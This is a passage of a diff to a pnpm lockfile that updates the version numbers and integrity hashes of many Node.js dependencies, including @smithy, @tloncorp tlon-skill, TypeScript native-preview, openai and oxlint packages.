'@smithy/querystring-builder@4.2.10': resolution: {integrity: sha512-HeN7kEvuzO2DmAzLukE9UryiUvejD3tMp9a1D1NJETerIfKobBUCLfviP6QEk500166eD2IATaXM59qgUI+YDA==} engines: {node: '>=18.0.0'} + '@smithy/querystring-builder@4.2.11': + resolution: {integrity: sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA==} + engines: {node: '>=18.0.0'} + '@smithy/querystring-parser@4.2.10': resolution: {integrity: sha512-4Mh18J26+ao1oX5wXJfWlTT+Q1OpDR8ssiC9PDOuEgVBGloqg18Fw7h5Ct8DyT9NBYwJgtJ2nLjKKFU6RP1G1Q==} engines: {node: '>=18.0.0'} + '@smithy/querystring-parser@4.2.11': + resolution: {integrity: sha512-nE3IRNjDltvGcoThD2abTozI1dkSy8aX+a2N1Rs55en5UsdyyIXgGEmevUL3okZFoJC77JgRGe99xYohhsjivQ==} + engines: {node: '>=18.0.0'} + '@smithy/service-error-classification@4.2.10': resolution: {integrity: sha512-0R/+/Il5y8nB/By90o8hy/bWVYptbIfvoTYad0igYQO5RefhNCDmNzqxaMx7K1t/QWo0d6UynqpqN5cCQt1MCg==} engines: {node: '>=18.0.0'} + '@smithy/service-error-classification@4.2.11': + resolution: {integrity: sha512-HkMFJZJUhzU3HvND1+Yw/kYWXp4RPDLBWLcK1n+Vqw8xn4y2YiBhdww8IxhkQjP/QlZun5bwm3vcHc8AqIU3zw==} + engines: {node: '>=18.0.0'} + '@smithy/shared-ini-file-loader@4.4.5': resolution: {integrity: sha512-pHgASxl50rrtOztgQCPmOXFjRW+mCd7ALr/3uXNzRrRoGV5G2+78GOsQ3HlQuBVHCh9o6xqMNvlIKZjWn4Euug==} engines: {node: '>=18.0.0'} + '@smithy/shared-ini-file-loader@4.4.6': + resolution: {integrity: sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw==} + engines: {node: '>=18.0.0'} + '@smithy/signature-v4@5.3.10': resolution: {integrity: sha512-Wab3wW8468WqTKIxI+aZe3JYO52/RYT/8sDOdzkUhjnLakLe9qoQqIcfih/qxcF4qWEFoWBszY0mj5uxffaVXA==} engines: {node: '>=18.0.0'} + '@smithy/signature-v4@5.3.11': + resolution: {integrity: sha512-V1L6N9aKOBAN4wEHLyqjLBnAz13mtILU0SeDrjOaIZEeN6IFa6DxwRt1NNpOdmSpQUfkBj0qeD3m6P77uzMhgQ==} + engines: {node: '>=18.0.0'} + '@smithy/smithy-client@4.12.0': resolution: {integrity: sha512-R8bQ9K3lCcXyZmBnQqUZJF4ChZmtWT5NLi6x5kgWx5D+/j0KorXcA0YcFg/X5TOgnTCy1tbKc6z2g2y4amFupQ==} engines: {node: '>=18.0.0'} + '@smithy/smithy-client@4.12.3': + resolution: {integrity: sha512-7k4UxjSpHmPN2AxVhvIazRSzFQjWnud3sOsXcFStzagww17j1cFQYqTSiQ8xuYK3vKLR1Ni8FzuT3VlKr3xCNw==} + engines: {node: '>=18.0.0'} + '@smithy/types@4.13.0': resolution: {integrity: sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw==} engines: {node: '>=18.0.0'} @@ -2777,18 +2984,34 @@ packages: resolution: {integrity: sha512-uypjF7fCDsRk26u3qHmFI/ePL7bxxB9vKkE+2WKEciHhz+4QtbzWiHRVNRJwU3cKhrYDYQE3b0MRFtqfLYdA4A==} engines: {node: '>=18.0.0'} + '@smithy/url-parser@4.2.11': + resolution: {integrity: sha512-oTAGGHo8ZYc5VZsBREzuf5lf2pAurJQsccMusVZ85wDkX66ojEc/XauiGjzCj50A61ObFTPe6d7Pyt6UBYaing==} + engines: {node: '>=18.0.0'} + '@smithy/util-base64@4.3.1': resolution: {integrity: sha512-BKGuawX4Doq/bI/uEmg+Zyc36rJKWuin3py89PquXBIBqmbnJwBBsmKhdHfNEp0+A4TDgLmT/3MSKZ1SxHcR6w==} engines: {node: '>=18.0.0'} + '@smithy/util-base64@4.3.2': + resolution: {integrity: sha512-XRH6b0H/5A3SgblmMa5ErXQ2XKhfbQB+Fm/oyLZ2O2kCUrwgg55bU0RekmzAhuwOjA9qdN5VU2BprOvGGUkOOQ==} + engines: {node: '>=18.0.0'} + '@smithy/util-body-length-browser@4.2.1': resolution: {integrity: sha512-SiJeLiozrAoCrgDBUgsVbmqHmMgg/2bA15AzcbcW+zan7SuyAVHN4xTSbq0GlebAIwlcaX32xacnrG488/J/6g==} engines: {node: '>=18.0.0'} + '@smithy/util-body-length-browser@4.2.2': + resolution: {integrity: sha512-JKCrLNOup3OOgmzeaKQwi4ZCTWlYR5H4Gm1r2uTMVBXoemo1UEghk5vtMi1xSu2ymgKVGW631e2fp9/R610ZjQ==} + engines: {node: '>=18.0.0'} + '@smithy/util-body-length-node@4.2.2': resolution: {integrity: sha512-4rHqBvxtJEBvsZcFQSPQqXP2b/yy/YlB66KlcEgcH2WNoOKCKB03DSLzXmOsXjbl8dJ4OEYTn31knhdznwk7zw==} engines: {node: '>=18.0.0'} + '@smithy/util-body-length-node@4.2.3': + resolution: {integrity: sha512-ZkJGvqBzMHVHE7r/hcuCxlTY8pQr1kMtdsVPs7ex4mMU+EAbcXppfo5NmyxMYi2XU49eqaz56j2gsk4dHHPG/g==} + engines: {node: '>=18.0.0'} + '@smithy/util-buffer-from@2.2.0': resolution: {integrity: sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==} engines: {node: '>=14.0.0'} @@ -2797,42 +3020,82 @@ packages: resolution: {integrity: sha512-/swhmt1qTiVkaejlmMPPDgZhEaWb/HWMGRBheaxwuVkusp/z+ErJyQxO6kaXumOciZSWlmq6Z5mNylCd33X7Ig==} engines: {node: '>=18.0.0'} + '@smithy/util-buffer-from@4.2.2': + resolution: {integrity: sha512-FDXD7cvUoFWwN6vtQfEta540Y/YBe5JneK3SoZg9bThSoOAC/eGeYEua6RkBgKjGa/sz6Y+DuBZj3+YEY21y4Q==} + engines: {node: '>=18.0.0'} + '@smithy/util-config-provider@4.2.1': resolution: {integrity: sha512-462id/00U8JWFw6qBuTSWfN5TxOHvDu4WliI97qOIOnuC/g+NDAknTU8eoGXEPlLkRVgWEr03jJBLV4o2FL8+A==} engines: {node: '>=18.0.0'} + '@smithy/util-config-provider@4.2.2': + resolution: {integrity: sha512-dWU03V3XUprJwaUIFVv4iOnS1FC9HnMHDfUrlNDSh4315v0cWyaIErP8KiqGVbf5z+JupoVpNM7ZB3jFiTejvQ==} + engines: {node: '>=18.0.0'} + '@smithy/util-defaults-mode-browser@4.3.36': resolution: {integrity: sha512-R0smq7EHQXRVMxkAxtH5akJ/FvgAmNF6bUy/GwY/N20T4GrwjT633NFm0VuRpC+8Bbv8R9A0DoJ9OiZL/M3xew==} engines: {node: '>=18.0.0'} + '@smithy/util-defaults-mode-browser@4.3.39': + resolution: {integrity: sha512-ui7/Ho/+VHqS7Km2wBw4/Ab4RktoiSshgcgpJzC4keFPs6tLJS4IQwbeahxQS3E/w98uq6E1mirCH/id9xIXeQ==} + engines: {node: '>=18.0.0'} + '@smithy/util-defaults-mode-node@4.2.39': resolution: {integrity: sha512-otWuoDm35btJV1L8MyHrPl462B07QCdMTktKc7/yM+Psv6KbED/ziXiHnmr7yPHUjfIwE9S8Max0LO24Mo3ZVg==} engines: {node: '>=18.0.0'} + '@smithy/util-defaults-mode-node@4.2.42': + resolution: {integrity: sha512-QDA84CWNe8Akpj15ofLO+1N3Rfg8qa2K5uX0y6HnOp4AnRYRgWrKx/xzbYNbVF9ZsyJUYOfcoaN3y93wA/QJ2A==} + engines: {node: '>=18.0.0'} + '@smithy/util-endpoints@3.3.1': resolution: {integrity: sha512-xyctc4klmjmieQiF9I1wssBWleRV0RhJ2DpO8+8yzi2LO1Z+4IWOZNGZGNj4+hq9kdo+nyfrRLmQTzc16Op2Vg==} engines: {node: '>=18.0.0'} + '@smithy/util-endpoints@3.3.2': + resolution: {integrity: sha512-+4HFLpE5u29AbFlTdlKIT7jfOzZ8PDYZKTb3e+AgLz986OYwqTourQ5H+jg79/66DB69Un1+qKecLnkZdAsYcA==} + engines: {node: '>=18.0.0'} + '@smithy/util-hex-encoding@4.2.1': resolution: {integrity: sha512-c1hHtkgAWmE35/50gmdKajgGAKV3ePJ7t6UtEmpfCWJmQE9BQAQPz0URUVI89eSkcDqCtzqllxzG28IQoZPvwA==} engines: {node: '>=18.0.0'} + '@smithy/util-hex-encoding@4.2.2': + resolution: {integrity: sha512-Qcz3W5vuHK4sLQdyT93k/rfrUwdJ8/HZ+nMUOyGdpeGA1Wxt65zYwi3oEl9kOM+RswvYq90fzkNDahPS8K0OIg==} + engines: {node: '>=18.0.0'} + '@smithy/util-middleware@4.2.10': resolution: {integrity: sha512-LxaQIWLp4y0r72eA8mwPNQ9va4h5KeLM0I3M/HV9klmFaY2kN766wf5vsTzmaOpNNb7GgXAd9a25P3h8T49PSA==} engines: {node: '>=18.0.0'} + '@smithy/util-middleware@4.2.11': + resolution: {integrity: sha512-r3dtF9F+TpSZUxpOVVtPfk09Rlo4lT6ORBqEvX3IBT6SkQAdDSVKR5GcfmZbtl7WKhKnmb3wbDTQ6ibR2XHClw==} + engines: {node: '>=18.0.0'} + '@smithy/util-retry@4.2.10': resolution: {integrity: sha512-HrBzistfpyE5uqTwiyLsFHscgnwB0kgv8vySp7q5kZ0Eltn/tjosaSGGDj/jJ9ys7pWzIP/icE2d+7vMKXLv7A==} engines: {node: '>=18.0.0'} + '@smithy/util-retry@4.2.11': + resolution: {integrity: sha512-XSZULmL5x6aCTTii59wJqKsY1l3eMIAomRAccW7Tzh9r8s7T/7rdo03oektuH5jeYRlJMPcNP92EuRDvk9aXbw==} + engines: {node: '>=18.0.0'} + '@smithy/util-stream@4.5.15': resolution: {integrity: sha512-OlOKnaqnkU9X+6wEkd7mN+WB7orPbCVDauXOj22Q7VtiTkvy7ZdSsOg4QiNAZMgI4OkvNf+/VLUC3VXkxuWJZw==} engines: {node: '>=18.0.0'} + '@smithy/util-stream@4.5.17': + resolution: {integrity: sha512-793BYZ4h2JAQkNHcEnyFxDTcZbm9bVybD0UV/LEWmZ5bkTms7JqjfrLMi2Qy0E5WFcCzLwCAPgcvcvxoeALbAQ==} + engines: {node: '>=18.0.0'} + '@smithy/util-uri-escape@4.2.1': resolution: {integrity: sha512-YmiUDn2eo2IOiWYYvGQkgX5ZkBSiTQu4FlDo5jNPpAxng2t6Sjb6WutnZV9l6VR4eJul1ABmCrnWBC9hKHQa6Q==} engines: {node: '>=18.0.0'} + '@smithy/util-uri-escape@4.2.2': + resolution: {integrity: sha512-2kAStBlvq+lTXHyAZYfJRb/DfS3rsinLiwb+69SstC9Vb0s9vNWkRwpnj918Pfi85mzi42sOqdV72OLxWAISnw==} + engines: {node: '>=18.0.0'} + '@smithy/util-utf8@2.3.0': resolution: {integrity: sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==} engines: {node: '>=14.0.0'} @@ -2841,6 +3104,10 @@ packages: resolution: {integrity: sha512-DSIwNaWtmzrNQHv8g7DBGR9mulSit65KSj5ymGEIAknmIN8IpbZefEep10LaMG/P/xquwbmJ1h9ectz8z6mV6g==} engines: {node: '>=18.0.0'} + '@smithy/util-utf8@4.2.2': + resolution: {integrity: sha512-75MeYpjdWRe8M5E3AW0O4Cx3UadweS+cwdXjwYGBW5h/gxxnbeZ877sLPX/ZJA9GVTlL/qG0dXP29JWFCD1Ayw==} + engines: {node: '>=18.0.0'} + '@smithy/util-waiter@4.2.10': resolution: {integrity: sha512-4eTWph/Lkg1wZEDAyObwme0kmhEb7J/JjibY2znJdrYRgKbKqB7YoEhhJVJ4R1g/SYih4zuwX7LpJaM8RsnTVg==} engines: {node: '>=18.0.0'} @@ -2849,6 +3116,10 @@ packages: resolution: {integrity: sha512-dSfDCeihDmZlV2oyr0yWPTUfh07suS+R5OB+FZGiv/hHyK3hrFBW5rR1UYjfa57vBsrP9lciFkRPzebaV1Qujw==} engines: {node: '>=18.0.0'} + '@smithy/uuid@1.1.2': + resolution: {integrity: sha512-O/IEdcCUKkubz60tFbGA7ceITTAJsty+lBjNoorP4Z6XRqaFb/OjQjZODophEcuq68nKm6/0r+6/lLQ+XVpk8g==} + engines: {node: '>=18.0.0'} + '@snazzah/davey-android-arm-eabi@0.1.9': resolution: {integrity: sha512-Dq0WyeVGBw+uQbisV/6PeCQV2ndJozfhZqiNIfQxu6ehIdXB7iHILv+oY+AQN2n+qxiFmLh/MOX9RF+pIWdPbA==} engines: {node: '>= 10'} @@ -2954,36 +3225,36 @@ packages: resolution: {integrity: sha512-5Kc5CM2Ysn3vTTArBs2vESUt0AQiWZA86yc1TI3B+lxXmtEq133C1nxXNOgnzhrivdPZIh3zLj5gDnZjoLL5GA==} engines: {node: '>=12.17.0'} - '@tloncorp/api@git+https://github.com/tloncorp/api-beta.git#7eede1c1a756977b09f96aa14a92e2b06318ae87': - resolution: {commit: 7eede1c1a756977b09f96aa14a92e2b06318ae87, repo: https://github.com/tloncorp/api-beta.git, type: git} + '@tloncorp/api@https://codeload.github.com/tloncorp/api-beta/tar.gz/7eede1c1a756977b09f96aa14a92e2b06318ae87': + resolution: {tarball: https://codeload.github.com/tloncorp/api-beta/tar.gz/7eede1c1a756977b09f96aa14a92e2b06318ae87} version: 0.0.2 - '@tloncorp/tlon-skill-darwin-arm64@0.1.9': - resolution: {integrity: sha512-qhsblq0zx6Ugsf7++IGY+ai3uQYAS4XsFLCnQqxbenzPcnWLnDFvzpn+cBVMmXYJXxmOIUjI9Vk929vUkPQbTw==} + '@tloncorp/tlon-skill-darwin-arm64@0.2.2': + resolution: {integrity: sha512-R6RPBZKwOlhJm8BkPCbnhLJ9XKPCCp0a3nq1QUCT2bN4orp/IbKFaqGK2mjZsxzKT8aPPPnRqviqpGioDdItuA==} cpu: [arm64] os: [darwin] hasBin: true - '@tloncorp/tlon-skill-darwin-x64@0.1.9': - resolution: {integrity: sha512-tmEZv1fx86Rt7Y9OpTG+zTpHisjHcI7c6D0+p9kellPE9fa6qGG2lC4lcYNMsPXSjzmzznJNWcd0ltQW4/NHEQ==} + '@tloncorp/tlon-skill-darwin-x64@0.2.2': + resolution: {integrity: sha512-KdhoF/V4sBty4vKXMljpjSp8YBUyFSOTkxlxoe4qqK3NiNSEADp5VwGEv+2BkmaG68xtfoSnOKoQIDog17S0Fw==} cpu: [x64] os: [darwin] hasBin: true - '@tloncorp/tlon-skill-linux-arm64@0.1.9': - resolution: {integrity: sha512-+EXkUmlcMTY1DkAkQTE+eRHAyrWunAgOthaTVG4zYU9B4eyXC3MstMId6EaAXkv89HZ3vMqAAW4CCDxpxIzg5Q==} + '@tloncorp/tlon-skill-linux-arm64@0.2.2': + resolution: {integrity: sha512-h1ih72PCEWZUuJx0ugmJgB934wzhKqSd0Qa1/UGgCJJoIr7JPxZEIBoM4QJ8mBo+8nBbYWb1tCacL20lSGgKjw==} cpu: [arm64] os: [linux] hasBin: true - '@tloncorp/tlon-skill-linux-x64@0.1.9': - resolution: {integrity: sha512-x09fR3H2kSCfzTsB2e2ajRLlN8ANSeTHvyXEy+emHhohlLHMacSoHLgYccR4oK7TrE8iCexYZYLGypXSk8FmZQ==} + '@tloncorp/tlon-skill-linux-x64@0.2.2': + resolution: {integrity: sha512-kV295YRWiAxMX15zaLv9sdDp/4lKZl7zxKNln3pCaLYKOCDsbL/7fc8xgzaLIvumWsv8Hs8ShzmxSDjlXpS8Nw==} cpu: [x64] os: [linux] hasBin: true - '@tloncorp/tlon-skill@0.1.9': - resolution: {integrity: sha512-uBLh2GLX8X9Dbyv84FakNbZwsrA4vEBBGzSXwevQtO/7ttbHU18zQsQKv9NFTWrTJtQ8yUkZjb5F4bmYHuXRIw==} + '@tloncorp/tlon-skill@0.2.2': + resolution: {integrity: sha512-2rxi9HdnwMGMTrqstDDwLDk9jB8vWGaVSL8Nh/kT8DTq3F6FA+6TiNmNMWBEWPdnPGLpGpf4ywoxq9/9vobv+w==} hasBin: true '@tokenizer/inflate@0.4.1': @@ -3105,8 +3376,8 @@ packages: '@types/node@24.11.0': resolution: {integrity: sha512-fPxQqz4VTgPI/IQ+lj9r0h+fDR66bzoeMGHp8ASee+32OSGIkeASsoZuJixsQoVef1QJbeubcPBxKk22QVoWdw==} - '@types/node@25.3.3': - resolution: {integrity: sha512-DpzbrH7wIcBaJibpKo9nnSQL0MTRdnWttGyE5haGwK86xgMOkFLp7vEyfQPGLOJh5wNYiJ3V9PmUMDhV9u8kkQ==} + '@types/node@25.3.5': + resolution: {integrity: sha512-oX8xrhvpiyRCQkG1MFchB09f+cXftgIXb3a7UUa4Y3wpmZPw5tyZGTLWhlESOLq1Rq6oDlc8npVU2/9xiCuXMA==} '@types/qrcode-terminal@0.12.2': resolution: {integrity: sha512-v+RcIEJ+Uhd6ygSQ0u5YYY7ZM+la7GgPbs0V/7l/kFs2uO4S8BcIUEMoP7za4DNIqNnUD5npf0A/7kBhrCKG5Q==} @@ -3153,43 +3424,43 @@ packages: '@types/yauzl@2.10.3': resolution: {integrity: sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q==} - '@typescript/native-preview-darwin-arm64@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-z8Efrjf04XjwX3QsLJARUMNl0/Bhe2z3iBbLI1hPAvqvkRK9C6T0Fywup3rEqBpUXCWsVjOyCxJjmuDA/9vZ5g==} + '@typescript/native-preview-darwin-arm64@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-VpnrMP4iDLSTT9Hg/KrHwuIHLZr5dxYPMFErfv3ZDA0tv48u2H1lBhHVVMMopCuskuX3C35EOJbxLkxCJd6zDw==} cpu: [arm64] os: [darwin] - '@typescript/native-preview-darwin-x64@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-qKySo/Tsya2zO3kIecrvP3WfEzS2GYy0qJwPmQ+LTqgONnuQJDohjyC3461cTKYBYL/kvkqfBrUGmjrg9fMyEA==} + '@typescript/native-preview-darwin-x64@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-+4akGPxwfrPy2AYmQO1bp6CXxUVlBPrL0lSv+wY/E8vNGqwF0UtJCwAcR54ae1+k9EmoirT7Xn6LE3Io6mXntg==} cpu: [x64] os: [darwin] - '@typescript/native-preview-linux-arm64@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-VNSRYpHbqnsJ18nO0buY85ZGloPoEi0W3rys93UzyZQGdxxqCKK5NxI+FV1siHNedFY2GRLr/7h1gZ8fcdeMvQ==} + '@typescript/native-preview-linux-arm64@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-u4kXuHN2p+HeWsnTixoEOwALsCoS+n3/ukWdnV/mwyg6BKuuU69qCv3/miY6YPFtE7mUwzPdflEXsvkZJbJ/RA==} cpu: [arm64] os: [linux] - '@typescript/native-preview-linux-arm@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-os9ohNd3XSO3+jKgMo3Ac1L6vzqg2GY9gcBsjp6Z5NrnZtnbq6e+uHkqavsE73NP1VIAsjIwZThjw4zY9GY7bg==} + '@typescript/native-preview-linux-arm@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-E0Pve6BjTVvPiHq9cPVQu6fbW/Qo/CEs1VN2NMILd0xzFVpVd9FIvzV+Ft6pZilu1SBcihThW3sQ92l03Cw2+Q==} cpu: [arm] os: [linux] - '@typescript/native-preview-linux-x64@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-w2iRqNEjvJbzqOYuRckpRBOJpJio2lOFTei7INQ0QED/TOO3XqJvAkyOzDrIgCO9YGWjDUIbuXZ/+4fldGIs3Q==} + '@typescript/native-preview-linux-x64@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-MzuRjTYQIS7XrJcH0As18SbaQU+rFhf9LCpXs2QeHjhXQ33wjuFDNhQeurg2eKm6A0xE0GoW9K+sKsm8bhzzPg==} cpu: [x64] os: [linux] - '@typescript/native-preview-win32-arm64@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-w6uu75HQek25Agu5+CcpzPS9PN3NTEyHSNMp9oypR8dj7zPRsudM8M4vhFTMDVCZ/lX/mWXkgG8dHmI+myWWvw==} + '@typescript/native-preview-win32-arm64@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-UNZl8Q6lx1njEPU8+FNjYvqii5PtDjk6cyxmVPwwJI2Snz5T5qY6oadkUds6CJsLkt7s4UB3P5XgLu1+vwoYGw==} cpu: [arm64] os: [win32] - '@typescript/native-preview-win32-x64@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-r2T4W5oYhOHAOVE0U/L1aFCsNDhv0BIRtyk9pL3eqGPLoYH4vtR96/CIpsVt04JDuh0fxOBHcbVjWaZdeZaTCQ==} + '@typescript/native-preview-win32-x64@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-aPJb4v0Df9GzWFWbO4YbLg0OjmjxZgXngkF1M746r4CgOdydWgosNPWypzzAwiliGKvCLwfAWYiV+T5Jf1vQ3g==} cpu: [x64] os: [win32] - '@typescript/native-preview@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-hmQSkgiIDAzdjyk4P8/dU8lLch1sR8spamGZ/ypPkz3rmraiLaeDj6rqlrgyZNOcSpk0R3kXw3y5qJ9121gjNQ==} + '@typescript/native-preview@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-NcKdPiGjxxxdh7fLgRKTrn5hLntbt89NOodNaSrMChTfJwvLaDkgrRlnO7v5x+m7nQc87Qf1y7UoT1ZEZUBB4Q==} hasBin: true '@typespec/ts-http-runtime@0.3.3': @@ -3554,9 +3825,6 @@ packages: resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} engines: {node: '>=8'} - browser-or-node@1.3.0: - resolution: {integrity: sha512-0F2z/VSnLbmEeBcUrSuDH5l0HxTXdQQzLjkmBR4cYfvg1zJrKSlmIZFqyFR8oX0NrwPhy3c3HQ6i3OxMbew4Tg==} - browser-or-node@3.0.0: resolution: {integrity: sha512-iczIdVJzGEYhP5DqQxYM9Hh7Ztpqqi+CXZpSmX8ALFs9ecXkQIeqRyM6TfxEfMVpwhl3dSuDvxdzzo9sUOIVBQ==} @@ -3579,9 +3847,9 @@ packages: resolution: {integrity: sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==} engines: {node: '>= 0.8'} - cac@6.7.14: - resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==} - engines: {node: '>=8'} + cac@7.0.0: + resolution: {integrity: sha512-tixWYgm5ZoOD+3g6UTea91eow5z6AAHaho3g0V9CNSNb45gM8SmflpAc+GRd1InC4AqN/07Unrgp56Y94N9hJQ==} + engines: {node: '>=20.19.0'} cacheable@2.3.2: resolution: {integrity: sha512-w+ZuRNmex9c1TR9RcsxbfTKCjSL0rh1WA5SABbrWprIHeNBdmyQLSYonlDy9gpD+63XT8DgZ/wNh1Smvc9WnJA==} @@ -3754,9 +4022,6 @@ packages: resolution: {integrity: sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==} engines: {node: '>= 0.6'} - core-js@3.48.0: - resolution: {integrity: sha512-zpEHTy1fjTMZCKLHUZoVeylt9XrzaIN2rbPXEt0k+q7JE5CkCZdo6bNq55bn24a69CH7ErAVLKijxJja4fw+UQ==} - core-util-is@1.0.2: resolution: {integrity: sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==} @@ -3870,6 +4135,9 @@ packages: discord-api-types@0.38.40: resolution: {integrity: sha512-P/His8cotqZgQqrt+hzrocp9L8RhQQz1GkrCnC9TMJ8Uw2q0tg8YyqJyGULxhXn/8kxHETN4IppmOv+P2m82lQ==} + discord-api-types@0.38.41: + resolution: {integrity: sha512-yMECyR8j9c2fVTvCQ+Qc24pweYFIZk/XoxDOmt1UvPeSw5tK6gXBd/2hhP+FEAe9Y6ny8pRMaf618XDK4U53OQ==} + doctypes@1.1.0: resolution: {integrity: sha512-LLBi6pEqS6Do3EKQ3J0NqHWV5hhb78Pi8vvESYwyOy2c31ZEZVdtitdzsQsKb7878PEERhzUk0ftqGhG6Mz+pQ==} @@ -4268,6 +4536,10 @@ packages: resolution: {integrity: sha512-CAAu74SLT+/QCg40FBhUuYJalVsxxCN3D0c31TzhFBsWWTdXrMXYjGsKngBdfvN6hQ/VzHczluj/ugZVetFNCQ==} engines: {node: ^12.20.0 || >=14.13.1} + grammy@1.41.1: + resolution: {integrity: sha512-wcHAQ1e7svL3fJMpDchcQVcWUmywhuepOOjHUHmMmWAwUJEIyK5ea5sbSjZd+Gy1aMpZeP8VYJa+4tP+j1YptQ==} + engines: {node: ^12.20.0 || >=14.13.1} + has-flag@4.0.0: resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} engines: {node: '>=8'} @@ -4385,8 +4657,9 @@ packages: immediate@3.0.6: resolution: {integrity: sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==} - import-in-the-middle@2.0.6: - resolution: {integrity: sha512-3vZV3jX0XRFW3EJDTwzWoZa+RH1b8eTTx6YOCjglrLyPuepwoBti1k3L2dKwdCUrnVEfc5CuRuGstaC/uQJJaw==} + import-in-the-middle@3.0.0: + resolution: {integrity: sha512-OnGy+eYT7wVejH2XWgLRgbmzujhhVIATQH0ztIeRilwHBjTeG3pD+XnH3PKX0r9gJ0BuJmJ68q/oh9qgXnNDQg==} + engines: {node: '>=18'} import-without-cache@0.2.5: resolution: {integrity: sha512-B6Lc2s6yApwnD2/pMzFh/d5AVjdsDXjgkeJ766FmFuJELIGHNycKRj+l3A39yZPM4CchqNCB4RITEAYB1KUM6A==} @@ -4818,8 +5091,8 @@ packages: engines: {node: '>= 18'} hasBin: true - marked@17.0.3: - resolution: {integrity: sha512-jt1v2ObpyOKR8p4XaUJVk3YWRJ5n+i4+rjQopxvV32rSndTJXvIzuUdWWIy/1pFQMkQmvTXawzDNqOH/CUmx6A==} + marked@17.0.4: + resolution: {integrity: sha512-NOmVMM+KAokHMvjWmC5N/ZOvgmSWuqJB8FoYI019j4ogb/PeRMKoKIjReZ2w3376kkA8dSJIP8uD993Kxc0iRQ==} engines: {node: '>= 20'} hasBin: true @@ -5123,8 +5396,8 @@ packages: zod: optional: true - openai@6.25.0: - resolution: {integrity: sha512-mEh6VZ2ds2AGGokWARo18aPISI1OhlgdEIC1ewhkZr8pSIT31dec0ecr9Nhxx0JlybyOgoAT1sWeKtwPZzJyww==} + openai@6.27.0: + resolution: {integrity: sha512-osTKySlrdYrLYTt0zjhY8yp0JUBmWDCN+Q+QxsV4xMQnnoVFpylgKGgxwN8sSdTNw0G4y+WUXs4eCMWpyDNWZQ==} hasBin: true peerDependencies: ws: ^8.18.0 @@ -5157,21 +5430,21 @@ packages: resolution: {integrity: sha512-4/8JfsetakdeEa4vAYV45FW20aY+B/+K8NEXp5Eiar3wR8726whgHrbSg5Ar/ZY1FLJ/AGtUqV7W2IVF+Gvp9A==} engines: {node: '>=20'} - oxfmt@0.35.0: - resolution: {integrity: sha512-QYeXWkP+aLt7utt5SLivNIk09glWx9QE235ODjgcEZ3sd1VMaUBSpLymh6ZRCA76gD2rMP4bXanUz/fx+nLM9Q==} + oxfmt@0.36.0: + resolution: {integrity: sha512-/ejJ+KoSW6J9bcNT9a9UtJSJNWhJ3yOLSBLbkoFHJs/8CZjmaZVZAJe4YgO1KMJlKpNQasrn/G9JQUEZI3p0EQ==} engines: {node: ^20.19.0 || >=22.12.0} hasBin: true - oxlint-tsgolint@0.15.0: - resolution: {integrity: sha512-iwvFmhKQVZzVTFygUVI4t2S/VKEm+Mqkw3jQRJwfDuTcUYI5LCIYzdO5Dbuv4mFOkXZCcXaRRh0m+uydB5xdqw==} + oxlint-tsgolint@0.16.0: + resolution: {integrity: sha512-4RuJK2jP08XwqtUu+5yhCbxEauCm6tv2MFHKEMsjbosK2+vy5us82oI3VLuHwbNyZG7ekZA26U2LLHnGR4frIA==} hasBin: true - oxlint@1.50.0: - resolution: {integrity: sha512-iSJ4IZEICBma8cZX7kxIIz9PzsYLF2FaLAYN6RKu7VwRVKdu7RIgpP99bTZaGl//Yao7fsaGZLSEo5xBrI5ReQ==} + oxlint@1.51.0: + resolution: {integrity: 